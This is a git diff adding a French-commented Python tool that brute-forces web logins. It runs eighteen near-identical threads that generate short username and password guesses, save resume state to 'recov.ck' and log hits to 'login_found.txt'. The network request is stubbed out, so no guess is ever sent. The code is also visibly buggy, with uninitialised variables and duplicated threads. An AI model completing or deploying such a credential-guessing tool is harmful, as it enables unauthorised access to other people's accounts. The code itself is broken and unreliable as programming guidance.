+def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/recov.ck b/crack3/recov.ck new file mode 100644 index 0000000..dce6588 --- /dev/null +++ b/crack3/recov.ck @@ -0,0 +1 @@ +36 \ No newline at end of file diff --git a/crack3/test.py b/crack3/test.py new file mode 100644 index 0000000..952db21 --- /dev/null +++ b/crack3/test.py @@ -0,0 +1,1165 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading +global last +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +try: + file=open("recov.ck",'r') + recov=file.read() + file.close() + last=int(recov) + print('chargement de la derniere session ...\n\n') + time.sleep(1) +except FileNotFoundError: + print("creation d'une nouvel session ... \n\n") + last=0 + time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 +# code spagetti enfin fonction X18 pour les thread +def crack(): + # initialisation des variables a utiliser + rec=1 + x,y,z,u=0,0,last,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + file2=open('recov.ck','w') + file2.write(str(z)) + file2.close() + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack2(): + rec=2 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack3(): + rec=4 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack4(): + rec=6 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack5(): + rec=8 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack6(): + rec=10 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack7(): + rec=12 + y,z,u=0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack8(): + rec=14 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack9(): + rec=16 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack10(): + rec=18 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack11(): + rec=20 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack12(): + rec=22 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack13(): + rec=24 + x,y,z,u=0,0,0,last + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack14(): + rec=26 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack15(): + rec=28 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack16(): + rec=30 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack17(): + rec=32 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") +def crack18(): + rec=34 + x,y,z,u=0,0,0,last + if 26<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + paz=lettre[x] + payload = dict(username=user, password=paz) + x+=1 + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + while bou: + try: + b=1 + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + if b==2: + print("login et password trouver : {},{}".format(user,user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# 18 thread ecrit en spagettti , ainsi multiplier par 18 la vitesse du moteur +t1=threading.Thread(target=crack) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13